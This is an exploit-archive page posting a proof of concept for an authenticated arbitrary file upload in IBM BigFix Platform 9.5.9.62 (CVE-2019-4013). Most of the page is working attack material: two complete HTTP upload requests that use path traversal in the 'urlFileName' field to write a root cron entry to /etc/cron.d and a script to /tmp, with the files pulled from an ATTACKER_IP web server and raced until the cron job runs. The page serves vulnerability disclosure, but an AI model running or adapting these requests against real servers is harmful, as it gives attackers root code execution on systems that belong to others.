exploit the possibilities

IBM Bigfix Platform 9.5.9.62 Arbitary File Upload / Code Execution

IBM Bigfix Platform 9.5.9.62 Arbitary File Upload / Code Execution
Posted Oct 7, 2019
Authored by Jakub Palaczynski

IBM Bigfix Platform version 9.5.9.62 suffers from an arbitrary file upload vulnerability as root that can achieve remote code execution.

tags | exploit, remote, arbitrary, root, code execution, file upload
advisories | CVE-2019-4013
MD5 | 8ae1f789332dbd08c91e2e0e13536381

IBM Bigfix Platform 9.5.9.62 Arbitary File Upload / Code Execution

Change Mirror Download
# Exploit Title: IBM Bigfix Platform 9.5.9.62 - Arbitrary File Upload
# Date: 2018-12-11
# Exploit Authors: Jakub Palaczynski
# Vendor Homepage: https://www.ibm.com/
# Version: IBM Bigfix Platform <= 9.5.9.62
# CVE: CVE-2019-4013


Description:
============

Any authenticated (even unprivileged) user can upload any file to any location on the server with root privileges. This results in code execution on underlying system with root privileges.

What caused this issue:
* path traversal - it is possible to escape from original directory and upload file to any other location
* server running with root privileges - user can upload file to ANY location on the system
* upload any type of file - application does not verify extension and MIME type of uploaded files
* authorization bypass (reported as separate issue) - any user can reveal privileged functionality and access it without proper rights set
* possibility to win the race - application uploads file to location specified in "urlFileName" parameter (path traversal), however it then moves it to another. An attacker needs to win race and execute script before it is moved.

Issue was found in "Apps > Software > Add Software" menu. Here user needs to choose upload via URL option as only this one is vulnerable.
URL needs to point to attacker's web server where he hosts for example script files.
When form is submitted we can see on proxy "urlFileName" parameter. This one is vulnerable to path traversal. This parameter specifies temporary file name that will be used on the system. Then application moves this file to another location that is not controlled by application user.

An attacker can for example upload script file on the web server and execute it by sending GET request. However as a PoC we will use cron. Here we upload 2 files - cron file and script file that will be executed by cron.
Uploading cron task and script file is the same as below but of course with different content downloaded from the web server. Those two HTTP requests should be sent in loop to finally win a race and execute our script.


Proof of Concept:
=================

cron.txt served on attacker's web server:
* * * * * root bash /tmp/icmp.sh

icmp.txt served on attacker's web server:
#!/bin/bash
ping -c 3 ATTACKER_IP


Uploading cron task:
POST /swd/api/packages/upload HTTP/1.1

Host: XXX

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Content-Length: 846

Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809

X-XSRF-TOKEN: XXX

Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX

Connection: close



-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="fileURL"



http://ATTACKER_IP/cron.txt

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="username"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="password"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlFileName"



../../../../../../../../etc/cron.d/task

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlDownloadAtRuntime"



false

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="uploadId"



user_1543410578364620

-----------------------------7289782871626994727576601809--


Uploading script file:
POST /swd/api/packages/upload HTTP/1.1

Host: XXX

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36

Content-Length: 846

Content-Type: multipart/form-data; boundary=---------------------------7289782871626994727576601809

X-XSRF-TOKEN: XXX

Cookie: _csrf=XXX; XSRF-TOKEN=XXX; user_session=XXX

Connection: close



-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="fileURL"



http://ATTACKER_IP/icmp.txt

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="username"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="password"





-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlFileName"



../../../../../../../../tmp/icmp.sh

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="urlDownloadAtRuntime"



false

-----------------------------7289782871626994727576601809

Content-Disposition: form-data; name="uploadId"



user_1543410578364620

-----------------------------7289782871626994727576601809--


After a while our script should be executed with root privileges.

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

October 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    24 Files
  • 2
    Oct 2nd
    15 Files
  • 3
    Oct 3rd
    7 Files
  • 4
    Oct 4th
    4 Files
  • 5
    Oct 5th
    10 Files
  • 6
    Oct 6th
    1 Files
  • 7
    Oct 7th
    21 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    5 Files
  • 10
    Oct 10th
    20 Files
  • 11
    Oct 11th
    17 Files
  • 12
    Oct 12th
    4 Files
  • 13
    Oct 13th
    4 Files
  • 14
    Oct 14th
    15 Files
  • 15
    Oct 15th
    8 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close